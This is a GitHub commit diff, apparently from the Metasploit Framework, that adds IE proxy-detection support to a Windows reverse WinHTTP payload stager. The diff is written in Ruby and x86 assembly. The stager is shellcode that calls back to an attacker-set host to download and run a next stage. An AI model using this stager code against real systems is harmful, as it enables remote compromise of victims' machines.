Skip to content

Commit a12c84d

Browse files
author
Brent Cook
committed
Land rapid7#5411, proxy support for winhttp stagers
2 parents 6a50b15 + c86d16f commit a12c84d

File tree

7 files changed

+295
-29
lines changed

7 files changed

+295
-29
lines changed

lib/msf/core/payload/windows/reverse_winhttp.rb

Lines changed: 139 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,6 @@
11
# -*- coding: binary -*-
22

33
require 'msf/core'
4-
require 'msf/core/payload/transport_config'
5-
require 'msf/core/payload/windows/block_api'
6-
require 'msf/core/payload/windows/exitfunk'
74
require 'msf/core/payload/windows/reverse_http'
85

96
module Msf
@@ -16,23 +13,31 @@ module Msf
1613

1714
module Payload::Windows::ReverseWinHttp
1815

19-
include Msf::Payload::TransportConfig
2016
include Msf::Payload::Windows::ReverseHttp
2117

18+
#
19+
# Register reverse_winhttp specific options
20+
#
21+
def initialize(*args)
22+
super
23+
register_advanced_options([
24+
OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true])
25+
], self.class)
26+
end
27+
2228
#
2329
# Generate the first stage
2430
#
2531
def generate(opts={})
2632
conf = {
2733
ssl: opts[:ssl] || false,
28-
host: datastore['LHOST'],
29-
port: datastore['LPORT'],
30-
retry_count: datastore['StagerRetryCount']
34+
host: datastore['LHOST'] || '127.127.127.127',
35+
port: datastore['LPORT']
3136
}
3237

3338
# Add extra options if we have enough space
3439
unless self.available_space.nil? || required_space > self.available_space
35-
conf[:url] = generate_uri
40+
conf[:uri] = generate_uri
3641
conf[:exitfunk] = datastore['EXITFUNC']
3742
conf[:verify_cert_hash] = opts[:verify_cert_hash]
3843
conf[:proxy_host] = datastore['PayloadProxyHost']
@@ -41,9 +46,10 @@ def generate(opts={})
4146
conf[:proxy_pass] = datastore['PayloadProxyPass']
4247
conf[:proxy_type] = datastore['PayloadProxyType']
4348
conf[:retry_count] = datastore['StagerRetryCount']
49+
conf[:proxy_ie] = datastore['PayloadProxyIE']
4450
else
4551
# Otherwise default to small URIs
46-
conf[:url] = generate_small_uri
52+
conf[:uri] = generate_small_uri
4753
end
4854

4955
generate_reverse_winhttp(conf)
@@ -107,7 +113,7 @@ def asm_generate_wchar_array(str)
107113
# Generate an assembly stub with the configured feature set and options.
108114
#
109115
# @option opts [Bool] :ssl Whether or not to enable SSL
110-
# @option opts [String] :url The URI to request during staging
116+
# @option opts [String] :uri The URI to request during staging
111117
# @option opts [String] :host The host to connect to
112118
# @option opts [Fixnum] :port The port to connect to
113119
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
@@ -119,9 +125,22 @@ def asm_reverse_winhttp(opts={})
119125
retry_count = [opts[:retry_count].to_i, 1].max
120126
verify_ssl = nil
121127
encoded_cert_hash = nil
122-
encoded_url = asm_generate_wchar_array(opts[:url])
128+
encoded_uri = asm_generate_wchar_array(opts[:uri])
123129
encoded_host = asm_generate_wchar_array(opts[:host])
124130

131+
# this is used by the IE proxy functionality when an autoconfiguration URL
132+
# is specified. We need the full URL otherwise the call to resolve the proxy
133+
# for the URL doesn't work.
134+
full_url = 'http'
135+
full_url << 's' if opts[:ssl]
136+
full_url << '://' << opts[:host]
137+
full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443
138+
full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80
139+
full_url << opts[:uri]
140+
141+
encoded_full_url = asm_generate_wchar_array(full_url)
142+
encoded_uri_index = full_url.rindex('/') * 2
143+
125144
if opts[:ssl] && opts[:verify_cert_hash]
126145
verify_ssl = true
127146
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
@@ -166,6 +185,14 @@ def asm_reverse_winhttp(opts={})
166185
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
167186
end
168187

188+
ie_proxy_autodect = (
189+
0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP
190+
0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A
191+
192+
ie_proxy_flags = (
193+
0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT
194+
0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL
195+
169196
asm = %Q^
170197
; Input: EBP must be the address of 'api_call'.
171198
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
@@ -220,14 +247,34 @@ def asm_reverse_winhttp(opts={})
220247
^
221248
end
222249

250+
if opts[:proxy_ie] == true && !proxy_enabled
251+
asm << %Q^
252+
push eax ; Session handle is required later for ie proxy
253+
^
254+
end
255+
223256
asm << %Q^
224257
WinHttpConnect:
225258
push ebx ; Reserved (NULL)
226259
push #{opts[:port]} ; Port [3]
227260
call got_server_uri ; Double call to get pointer for both server_uri and
228261
server_uri: ; server_host; server_uri is saved in edi for later
229-
db #{encoded_url}
262+
^
263+
264+
if opts[:proxy_ie] == true && !proxy_enabled
265+
asm << %Q^
266+
db #{encoded_full_url}
267+
got_server_host:
268+
add edi, #{encoded_uri_index} ; move edi up to where the URI starts
269+
^
270+
else
271+
asm << %Q^
272+
db #{encoded_uri}
230273
got_server_host:
274+
^
275+
end
276+
277+
asm << %Q^
231278
push eax ; Session handle returned by WinHttpOpen
232279
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')}
233280
call ebp
@@ -277,6 +324,86 @@ def asm_reverse_winhttp(opts={})
277324
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')}
278325
call ebp
279326
^
327+
elsif opts[:proxy_ie] == true
328+
asm << %Q^
329+
; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is
330+
; a 16-byte structure
331+
sub esp, 16
332+
mov eax, esp ; store a pointer to the buffer
333+
push edi ; store the current URL in case it's needed
334+
mov edi, eax ; put the buffer pointer in edi
335+
push edi ; Push a pointer to the buffer
336+
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')}
337+
call ebp
338+
339+
test eax, eax ; skip the rest of the proxy stuff if the call failed
340+
jz ie_proxy_setup_finish
341+
342+
; we don't care about the "auto detect" flag, as it doesn't seem to
343+
; impact us at all.
344+
345+
; if auto detect isn't on, check if there's an auto configuration URL
346+
mov eax, [edi+4]
347+
test eax, eax
348+
jz ie_proxy_manual
349+
350+
; restore the URL we need to reference
351+
pop edx
352+
sub edx, #{encoded_uri_index} ; move edx up to where the full URL starts
353+
354+
; set up the autoproxy structure on the stack
355+
push 1 ; fAutoLogonIfChallenged (1=TRUE)
356+
push ebx ; dwReserved (0)
357+
push ebx ; lpReserved (NULL)
358+
push eax ; lpszAutoConfigUrl
359+
push #{ie_proxy_autodect} ; dwAutoDetectFlags
360+
push #{ie_proxy_flags} ; dwFlags
361+
mov eax, esp
362+
363+
; prepare space for the resulting proxy info structure
364+
sub esp, 12
365+
mov edi, esp ; store the proxy pointer
366+
367+
; prepare the WinHttpGetProxyForUrl call
368+
push edi ; pProxyInfo
369+
push eax ; pAutoProxyOptions
370+
push edx ; lpcwszUrl
371+
lea eax, [esp+64] ; Find the pointer to the hSession - HACK!
372+
push [eax] ; hSession
373+
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')}
374+
call ebp
375+
376+
test eax, eax ; skip the rest of the proxy stuff if the call failed
377+
jz ie_proxy_setup_finish
378+
jmp set_ie_proxy ; edi points to the filled out proxy structure
379+
380+
ie_proxy_manual:
381+
; check to see if a manual proxy is specified, if not, we skip
382+
mov eax, [edi+8]
383+
test eax, eax
384+
jz ie_proxy_setup_finish
385+
386+
; manual proxy present, set up the proxy info structure by patching the
387+
; existing current user IE structure that is in edi
388+
push 4
389+
pop eax
390+
add edi, eax ; skip over the fAutoDetect flag
391+
dec eax
392+
mov [edi], eax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)
393+
394+
; fallthrough to set the ie proxy
395+
396+
set_ie_proxy:
397+
; we assume that edi is going to point to the proxy options
398+
push 12 ; dwBufferLength (sizeof proxy options)
399+
push edi ; lpBuffer (pointer to the proxy)
400+
push 38 ; dwOption (WINHTTP_OPTION_PROXY)
401+
push esi ; hRequest
402+
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')}
403+
call ebp
404+
405+
ie_proxy_setup_finish:
406+
^
280407
end
281408

282409
if opts[:ssl]

0 commit comments

Comments
 (0)